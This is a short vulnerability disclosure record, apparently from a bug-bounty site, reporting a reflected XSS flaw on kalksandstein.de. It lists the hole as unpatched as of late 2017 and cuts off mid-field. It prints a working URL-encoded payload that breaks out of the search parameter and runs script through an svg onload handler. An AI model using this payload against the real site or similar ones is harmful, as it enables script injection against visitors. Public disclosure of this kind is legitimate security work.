kalksandstein.de XSS vulnerability

Vulnerable URL: http://www.kalksandstein.de/?searchstr=%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3Eid=17 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...